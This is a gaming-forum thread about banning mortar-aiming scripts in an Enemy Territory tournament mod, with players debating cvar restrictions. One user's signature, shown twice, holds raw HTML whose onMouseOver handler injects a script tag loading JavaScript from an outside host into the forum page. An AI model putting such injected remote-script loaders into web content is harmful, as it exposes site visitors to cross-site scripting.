Banning mortar scripts

Discussion for Bani's Tournament Mod

Moderators: Forum moderators, developers

Grizbo
Posts: 79
Joined: Wed Mar 03, 2004 3:21 am

Post by Grizbo »

Ok, that works too. Had never used that particular feature before
Jinks
Posts: 60
Joined: Tue Mar 09, 2004 1:16 am

Post by Jinks »

Sphere have you tried to actually use a mortar script? I wrote one when ET first came out (Before there was ETPro). Mildly ammusing at best. The movements are mechanical (Yes looks very funny), the reliablility is almost nill. The wait statements become unreliable after a few minutes or a map change, which causes you to fire at nothing. So unless whoever is planning on using it has a bunch of different sets it's not going to work reliably over an entire match / pub session. Not to mention the fact you CAN fire faster and just as accurately by using the mouse. Lower the mouse sensitivity if you have to (but really nothing special should be required) and come up with your own system on memorizing the coordinates.

Again it comes down to how lazy people get. I've seen everything from scripts that crouch / pull out needle / +attack / - attack... to ones that just make you scratch your head and say: "What the hell was this guy thinking". The whole time the script is running the guy is frozen (he cannot input other commands during wait statements)... and they have these stupid scripts to do just about anything you can think of. Why? Because people wanna see if they can make it work AND because there will always be lazy people who don't want to spend any time learning to do what other players can already do better without scripts. These idiots will always be at a disadvantage and I fear nothing about a "mortar script" that lets some 2 bit goofball fire mortars at me on a pub wich can be fired by anyone with an ounce of skill (omg find a vertical and horizontal coordinate) and 1/2 a brain. If you are having trouble "accurately" firing the mortar manually you should pick yourself up that old ass game with the pictures on the cards called "memory" and come back in 6 months when you have mastered it.
User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

Jinks wrote:pick yourself up that old ass game with the pictures on the cards called "memory" and come back in 6 months when you have mastered it.
I hate that game. :(
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
Sphere
Posts: 41
Joined: Wed Oct 29, 2003 6:17 am

Post by Sphere »

Yeah Jinks, I'm familiar with both methods. The demo posted is a good example of what it looks like.

Here's the thing when it comes to speed - it's not how fast you can fire 10 shots, which is obviously limited to the recharge bar, but how quickly you can fire at a spot after you're told someone is there.

And in terms of how accurate you can get it, it all depends on how difficult the shot is. The mortar is calibrated in fairly large chunks and it's almost impossible to remember if you're talking about 10% of one 'unit' of 2.5 degrees. Ofc only a few shots benefit from that accuracy and it's important that those ones ARE really difficult because if you're ultra precise you can start shooting them through doorways.

But the good news is that adding :

command "sv_cvar cl_pitchspeed EQ 0"
command "sv_cvar cl_yawspeed EQ 0"

puts an end to it. Nice and simple :)

Any reason why this simple addition to a config would cause problems in other parts of the game, please post away guys. Thanks for the help so far.
Spark2
Posts: 182
Joined: Wed Sep 10, 2003 12:31 pm

Post by Spark2 »

It would make it impossible to aim with joysticks! :o
But as Bani said, you could still use something like this: http://www.tethyssolutions.com/product.htm
Mortar aiming just doesn't work as a gaming skill because it requires zero flexibility.
Sphere
Posts: 41
Joined: Wed Oct 29, 2003 6:17 am

Post by Sphere »

True, but by virtue of being 3rd party software, it's actually cheating like any hack that someone uses. I don't expect to take on the hardcore - just keep the game enjoyable :)
User avatar
gotenks
Posts: 3465
Joined: Fri Nov 15, 2002 4:12 pm
Location: out of my mind
Contact:

Post by gotenks »

just a question:
would you really be conserned about an aimbot that ONLY worked from one spot (if the person moves more than a few steps it becomes useless)?
My Website
Image
After a night of binge drinking:
=FF=im2good4u wrote:WTF wanst i on top ?
Sphere
Posts: 41
Joined: Wed Oct 29, 2003 6:17 am

Post by Sphere »

Not anymore :)

The solution *fingers crossed* is so simple that there's just no negative aspect to implementing it. The only people who would complain would be people who were getting substantial benefit from it - but since the only debate in this thread is about whether it makes a difference or not, that won't be any of you guys :)
skillzilla
Posts: 55
Joined: Sun Jul 18, 2004 8:19 pm

Post by skillzilla »

what cvars does the mortar script use
User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

When mortaring, I aim the mortar with the mouse and then use +left/+right/+up/+down with a low pitchspeed/yawspeed to fine-tune. I'm probably not the only one.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
Spark2
Posts: 182
Joined: Wed Sep 10, 2003 12:31 pm

Post by Spark2 »

People use external spawntimers, if you make manual spawntiming too hard... People will use external macro tools if you disable macro scripting. A rule like this makes as much sense as a rule that forbids placing a clock besides your monitor or to use a gamepad instead of a keyboard. We had this kind of discussion since ages and personally I believe that it's a better idea to provide a level playing field for everbody, instead of giving those who use the "helper tools" even more of an advantage against those who play "honestly".
>>steven!
Posts: 645
Joined: Mon Jul 12, 2004 4:00 am
Location: Merseyside, UK
Contact:

Post by >>steven! »

all level 2 soldiers get a mortar script.

problem solved
User avatar
[MoB]Seany
Posts: 163
Joined: Thu Aug 05, 2004 9:57 am

Post by [MoB]Seany »

lol...no
>>steven!
Posts: 645
Joined: Mon Jul 12, 2004 4:00 am
Location: Merseyside, UK
Contact:

Post by >>steven! »

i know this script is bad and everything but tbh if it makes us all change r tactics so they r not vulnerable to mortar fire. in the end is this not a good thing :-)

i am probs talking out of my arse but nm
duke'ku
Posts: 1053
Joined: Sun Nov 03, 2002 1:42 pm
Location: portland, oregon
Contact:

Post by duke'ku »

Sphere wrote: command "sv_cvar cl_pitchspeed EQ 0"
command "sv_cvar cl_yawspeed EQ 0"

That's a terribly retarded way of dealing with it. There are fucking TONS of legitimate uses for cl_*speed, and stopping MORATAHR BOTS does NOT outweigh the actual uses for those commands. I really hope you're not in any leadership position, because with those decisions you really could fuck something up.

<img src="http://pxqs.net/image-fu/trans.php/arial/75/NO THANKS.">
Post Reply